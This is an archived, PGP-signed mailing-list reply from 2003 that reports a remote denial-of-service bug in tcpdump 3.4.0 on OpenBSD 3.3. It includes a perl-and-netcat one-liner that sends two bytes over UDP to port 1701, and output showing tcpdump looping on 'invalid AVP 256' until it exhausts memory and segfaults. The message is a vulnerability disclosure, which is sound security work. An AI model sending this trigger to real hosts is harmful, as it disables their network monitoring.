Re: Remote crash in tcpdump from OpenBSD

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Henning Brauer wrote:
>> tcpdump -i lo0 -n udp and dst port 1701 &
>> perl -e 'print "\xff\x02"' | nc -u localhost 1701
> several developers including me cannot reproduce that on -current.

Sorry for the misinformation, it will not work on a loopback interface,
but it's perfectly repetable when receiving/routing such datagram on
ethernet interfaces:

<root_at_ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
OpenBSD 3.3 i386
tcpdump version 3.4.0
libpcap version 0.5
<root_at_ext-fw:/var/log:274># tcpdump -i xl1
tcpdump: listening on xl1

On the another box:

riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701

and tcpdump goes mad:

[...]
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid
AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
 [...]

consuming all memory. When ulimits are reached, it segfaults.

- --
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin_at_jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE/5MrBkxEnBiV4/K0RAg6cAKDEeRwvRvUQxYBtCM2tNNBCBN0x4ACcDFCO
fdDXuhskCzmLQiZrmfha38Q=
=96ct
-----END PGP SIGNATURE-----
Received on Dec 20 2003